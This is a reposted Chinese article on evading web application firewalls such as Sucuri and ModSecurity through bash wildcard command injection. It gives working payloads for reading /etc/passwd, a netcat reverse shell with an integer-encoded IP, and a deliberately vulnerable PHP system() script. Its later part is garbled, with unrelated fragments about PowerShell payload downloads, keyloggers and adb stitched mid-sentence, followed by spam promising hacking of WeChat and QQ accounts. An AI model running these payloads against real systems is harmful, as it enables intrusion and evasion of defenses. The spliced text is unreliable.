灰帽黑客:Web应用程序防火墙(WAF)bypass技能评论(一)

访客4年前黑客工具899

Web运用程序中发现RCE缝隙的状况仍是挺常见的,2017 OWASP Top 10运用程序安全风险”也将“注入”置于榜首方位,例如当解说器接收到用户可控的数据作为指令或查询来实行时,很有或许会导致注入风险,例如SQL,NoSQL,O查看/etc/passwd文件,S和LDAP注入。

侵犯者的恶意数据可以欺诈解说器在没有授权的状况下实行非预期的指令或访问敏感数据。

一切现代Web运用程序防火墙都可以阻拦(乃至阻挠)RCE,但是当发作在Linux系统时,我们也有许多 *** 可以bypass WAF的规矩集。

运用到的 *** 就有“通配符”,所以接下来会解说一些bash与通配符的工作。

通配符的一些常识

各种指令行程序会运用bash规范通配符(也称为通配方式)来处理多个文件。

假设读者想知道有关规范通配符的更多信息,可通过键入参考手册页man 7 glob来了解。并不是人人都知道有许多bash语法可以只运用问号“?”,正斜杠“/”,数字和字母来实行系统指令,且可以运用相同数量的字符枚举文件并获取其内容。

我举几个比方,例如实行ls指令,可以运用以下语法:/???/?s

运用上面这种语法,你想实行啥基本上都可以实行。比方说,你侵犯的方针处于WAF的维护下,但是这个WAF有一个规矩,一旦GET参数的值内或POST恳求的body里包括/etc/passwd或/bin/ls,一切的恳求都会被阻挠。

假设你企图恳求/?cmd=cat+/etc/passwd,那么它会被方针WAF阻挠,你的IP将被永久制止访问并被符号。假设方针WAF没有满足的规矩集来阻挠像?和/在查询字符串中,那么就能运用通配符来进行绕过。绕过的payload如下所示:

/?cmd=%2f???%2f??t%20%2f???%2fp??s??

在上面的屏幕截图中可以看到有3个过错“/bin/cat *:是一个目录 ”。

发作这种状况是因为/???/??t可以匹配到到/bin/cat、/dev/net或许/etc/apt等等……

问号通配符仅代表一个可以是任何字符的字符。因此,假设知道文件名的一部分而不是一个字母,那么可以运用此通配符。例如ls *.???,列出当时目录中扩展名为3个字符的一切文件,将列出具有:gif,.jpg,.txt等扩展名的文件。

运用此通配符,可以运用netcat来实行反弹shell。假定需求在端口1337(一般nc -e /bin/bash 127.0.0.1 1337)实行反弹shell到127.0.0.1,可以运用以下语法实行此操作:

/???/n? -e /???/b??h 2130706433 1337

以整数方式(2130706433)转化IP地址127.0.0.1,可以防止在HTTP恳求中运用“点”字符。

因为没有-e参数,所以在我的kali里需求运用nc.traditional而不是nc,以便/bin/bash在联接后实行,payload如下:

/???/?c.??????????? -e /???/b??h 2130706433 1337

接下来,比照一下以上的指令:

规范:/bin/nc 127.0.0.1 1337

bypass:/???/n? 2130706433 1337

用到的字符:/ ? n [0-9]

规范:/bin/cat /etc/passwd

bypass:/???/??t /???/??ss??

用到的字符:/ ? t s

为什么用?而不是*呢?因为星号(*)被广泛用于注释语法(相似/ *嘿,我是注释* /),许多WAF阻挠它以防止SQL注入…相似于UNION+SELECT+1,2,3/ *

还可以运用echo来枚举文件和目录,echo指令可以运用通配符枚举文件系统上的文件和目录。例如echo /*/*ss*:

这可以在RCE上运用,以便在方针系统上获取文件和目录,例如:

但是为什么运用通配符(特别是问号)可以躲避WAF规矩集?让我先从Sucuri WAF初步解说。

Sucuri WAF bypass

检验WAF规矩集的更佳 *** 是什么?创立世界上最易受侵犯的PHP脚本并检验一切或许的技能!

在上面的屏幕截图中,左上方的窗格中有一个实行指令的PHP脚本。

 

<?php

      echo 'ok: ';

 &nbsplargebin attack的 *** 大致有两种:;    print_r($_GET['c']);

      system($_GET['c']);

 

右侧窗格是最风趣的,因为它显现相同的恳求,但运用“问号”作为通配符。效果令人惊骇……Sucuri WAF接受了恳求,我的运用程序实行了我输入c参数的指令。现在我可以读取/etc/passwd文件乃至更多…

我可以阅读运用程序自身的PHP源代码,我可以运用netcat(或许我喜爱称之为/???/?c)来实行反弹shell ,或许我可以实行相似curl或wget的程序显现Web服务器的实在IP地址,使我可以通过直接联接到方针来绕过WAF。

我不知道为啥会发作这种状况,我认为我在Sucuri WAF配备上遗漏了一些东西,但好像又没有……我已经在Sucuri问过这是否是一种有人参加的行为,以及他们是否配备了默许的“低等级”以防止误报,但现在我还在等候答案。

请记住,我正在运用一个不代表实在场景的愚笨PHP脚本进行此检验。恕我直言,你不应该依据它阻挠的恳求判别一个WAF是否强壮,并且Sucuri的安全性并不低,因为WAF也无法彻底维护一个成心让它易受侵犯的网站。

上面成功绕过了waf,现在来检验一下ModSecurity OWASP CRS 3.0。

相关等级配备如下:

 

# -=[ Targets and ASCII Ranges ]=-

#

# 920270: PL1

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 1-255

# Example: Full ASCII range without null character

#

# 920271: PL2

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 9,10,13,32-126,128-255

# Example: Full visible ASCII range, tab, newline

#

# 920272: PL3

# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY

# ASCII: 32-36,38-126

# Example: Visible lower ASCII range without percent symbol

#

# 920273: PL4

# ARGS, ARGS_NAMES and REQUEST_BODY

# ASCII: 38,44-46,48-58,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : &

#

# 920274: PL4

# REQUEST_HEADERS without User-Agent, Referer, Cookie

# ASCII: 32,34,38,42-59,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

 

以下是WAF的规矩解说:

https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/e4e0497be4d598cce0e0a8fef20d1f1e5578c8d0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf

接下来初步检验这个WAF!

Paranoia Level 0 (PL0)

等级0表明禁用了许多规矩,因此我们的payload可以毫无问题地导致远程指令实行,这是肯定正常的,不要慌张。

 

SecAction "id:999,

phase:1,

nolog,

pass,

t:none,

set直到现在,许多邮件分析需求人工进行干与。var:tx.paranoia_level=0"

ModSecurity中的等级1意味着规矩更严厉,尽管消除了误报,但它也过于宽松。

可以在netnea网站上找到按等级分组的规矩列表:https://www.netne *** /cms/core-rule-set-inventory/

Paranoia Level 1 and 2 (PL1, PL2)

我已将1级和2级分组,因为它们的差异(如上图所示)不会影响我们的方针,一切行为都与下面描述的相同。

 

SecAction "id:999,

phase:1,

nolog,

pass,

t:none,

setvar:tx.paranoia_level=1"

 

运用PL1和PL2 ModSecurity明显阻挠了我对“OS File Access Attempt”的恳求(930120)。但是,假设我将问号用作通配符怎么办?该恳求却被我的WAF接受了。

发作这种状况是因为“问号”,“正斜杠”和“空格”都在规矩920271和920272的字符规模内。此外,运用“问号”而不是指令语法使我可以bypass “OS File Access Attempt”,例如我们的/etc/passwd。

Paranoia Level 3 (PL3)

这个等级会阻挠包括“?”等字符超越n次的恳求,所以事实上,我的恳求已被符号为“Meta-Character Anomaly Detection Alert — Repetitive Non-G指令结束后,这儿我们需求留心一下:点击windbg东西条的Source mode off。当Souce mode on的时分,debug的单步指令会直接按照函数的进程实行,而不是从实在单步汇编指令,这点上我们可以检验切换不同的开关。具体实行如下图所示:Word Characters”。

ModSecurity仍是挺强的,但是很不幸,我写的web运用很软弱,我可以运用较少的问号并运用以下语法读取passwd文件。

c=/?in/cat+/et?/passw?

可以看到只运用了3个问号就可以绕过WAF并读取文件了,其实不能说等级3就不可,这儿运用的是检验环境,实践实在场景并不一定能绕过。

那么能绕过等级4吗?

Paranoia Level 4 (PL4)

通过我的检验发现基本上没有 *** 绕过,规模之外的一切字符a-z A-Z 0–9都被阻挠了!没 *** ……当你需求实行一个指令来读取文件时,有90%的概率会需求一个“空格”字符或“正斜杠”。

最终的主意

回归静态HTML页面……这是进步Web运用程序安全性Windows沙盒初度加载时,或许时间会久一点,因为它需求生成Windows10镜像并用于虚拟机中。加载成功后,我们就会看到一个依据Windows 10的完整版Windows虚拟机操作系统了。的最快 *** !很难说配备更好的WAF或许只运用更好的等级规矩有没有用?但是我们能了解到的是不应该彻底信赖布置在Web运用程序上均匀分布的WAF规矩集。事实上,我们应该依据运用程序功用配备我们的WAF规矩。无论如何,当你在ModSecurity上写一个新的SecRule时,请记住,或许有许多 *** 可以bypass你的过滤器/正则表达式。

*来历:medium;本文作者:生如夏花,转载请注明来自FreeBuf.COM

灰帽黑客:Web应用程序防火墙(WAF)bypass技能评论(一)

3、静态和动态分析效果通过监督学习建模的分类器。运用objection ios sslpinning disable绕过证书绑定这一进程运用PowerShell中的Add-Type指令加载一些C#代码来结束此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492” *** ,然后休眠1秒,之后下载并工作Payload以进行下一阶段的侵犯。 Invoke-Expression $deleteShare | Out-NullWeb应用程序防火墙(WAF)bypass技术讨论(一)

灰帽黑客vmGuestLibJava.db32.1在iPhone 8及更高版别上:按一下并快速铺开音量调高按钮,再按一下并快速铺开音量调低按钮。然后,一贯按住周围面的开机按钮,直到看到联接到iTunes屏幕。恶意程序自身有 *** 行为,内存必定有其二进制代码,它要么是进程的 DLL /如此模块,一般为了保活,它极或许还有自己的发起项, *** 心跳包。

except: return a().StrToLong(str, i);图3 在%temp%***.tmp目录下开释System.dll文件灰帽黑客

}因此,假设你想要访问进程环境块(PEB)的话,你只需求运用下面这段代码即可:

下面这个视频演示的是我们对Fitbit健康寻找器(含MEMS加速度计)的声学注入侵犯进程。需求留心的是,我们并不认为这种针对健康手环的侵犯会给用户带来非常巨大的安全风险,因为这些设备不具有医疗诊治的功用。但是,这足以标明这种声学烦扰可以对MEMS加速度计的输出效果进行烦扰或控制。 if (sg.vantagepoint.a.b.a((Context)this.getApplicationContext())) {Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains; preload"为了运用CFR解码器,需求在BytecodeViewer中依次选择View-> Pane1-> CFR-> Java。假设你想将反编译器的效果与Smali反汇编(一般比反编译稍微准确一些)进行比较的话,可以将Pane2设置为Smali代码。Web应用程序防火墙(WAF)bypass技术讨论(一)

灰帽黑客LEAGOO Alfa 6我们知道,adb是能远程联接的,从前各种手机和智能设备都默许打开了adb的远程联接构成各种安全缝隙,假设安卓打开了调试方式,我们也可以事前通过USB调试运用tcpip指令打开这个远程调试功用,如“adb tcpip 5555”,打开5555端口的远程调试绑定,这时候不管是什么终端只需能运用合法的调试协议都是能运用adb的,所以手机上的app也能运用远程调试功用,这儿我们不需求重复造轮子,直接运用Adblib这个开源库就能让app具有adb远程调试的才干。无代码,不服气:为了让Cube可以访问互联网,我已将自己的USB网卡配备为Cube的路由器。为了在不运用DHCP的时分可以通过192.168.0.222访问Cube,我把设备的IP地址设为192.168.0.1/24,并进行了如下所示的配备,以容许通过USB网卡的NAT访问互联网: 之后,运用以下指令初步绑缚恶意载体

在我的动态分析中发现,该Keylogger在一个名为%appdata%的文件夹下开释自身副本,发起一个名为windowsupdate.exe的程序为工作进程,并设置进程发起信息为随机自发起,结束与系统一同发起。

留心到上面X-Powered-By: PHP/5.5.9-1ubuntu4.14这一行暴露了 PHP 的版别号,所以我们来配备php.ini来躲藏之,即在php.ini文件中设置:

由dll劫持绕过UAC演化出来的林林总总的变形上述示例直接构成了严峻的经济丢掉,另一方面,内部欺诈还会构成巨大的潜在个人挟制,如:灰帽黑客

网页端的写法如下:

FBI丢掉“不听话”的苹果Web应用程序防火墙(WAF)bypass技术讨论(一)

void loop()//循环 侵犯能在不写入磁盘的状况下工作指令一个最有说明性的比方:文档阅读软件evince,一般都需求文件系统的任意目录的读/写权限。用户就能通过工作evince然后从菜单里加载任意他们想要查看的文件。
本文标题:灰帽黑客:Web应用程序防火墙(WAF)bypass技能评论(一)

相关文章

qq被盗了可以找黑客吗(找黑客盗qq)

去黒客动画吧找下热心的黑客高手看看,他们肯定会很热心的帮助你的 别奢求黑客了,都是浮云。如果这个QQ真的是你在用,还是走正规的QQ申诉渠道吧。 请申诉,如果已用多年,了解以前QQ上自己填写的信息及...

黑客风云之(重生之黑客风云)

黑客风云之(重生之黑客风云)

本文导读目录: 1、我想看一些讲黑客的网络小说。那个可以推荐几本。 2、以“黑客”为主题的电影有哪些? 3、黑客类的小说介绍几本,谢了。 4、《黑客风云》txt全集下载 5、谁介绍几本...

快手最黑客(快手最黑客代码)

快手最黑客(快手最黑客代码)

本文目录一览: 1、在快手上泄露了自己的真实姓名和地址的话会被黑客入侵账号吗?急!!! 2、快手号被盗了。我的手机会有什么事吗?黑客会通过我的快手号入侵我的手机吗? 3、诈骗电话怎么知道我在快...

不用密码怎么找微信号?最简单找别人微信密码_微信内容

不用密码怎么盗微信号? 微信密码账户通过网络购买警察交通控制系统内的车辆车架编号和所有者的材料及其他个人信息, 然后对网络车辆进行非法登记。 10月31日上午, 合肥网络安全支队举行  "2018 网...

花钱查微信记录靠谱吗?黑客400元微信记录可靠吗

北京时间2月2日消息:荷兰某法庭在星期二作出判决,将两名攻破全球数百万台电脑并利用那些电脑从事网络犯罪活动的黑客送进监狱。  这两名黑客在去年用一种名叫Toxbot的木马攻破了全球数百万台电脑。他们利...

铭文怎么赚钱?怎样最快收集铭文金币钻石?

铭文怎么赚钱?怎样最快收集铭文金币钻石?

王者荣耀这款游戏,现如今可以说拥有着非常庞大的用户群体,同时这个群体年龄范围还十分广。很多人都在说,自己已经中了王者荣耀的毒,并且离不开这款游戏了。但是也有很多人表示这款游戏也有很多吐槽的地方,同时还...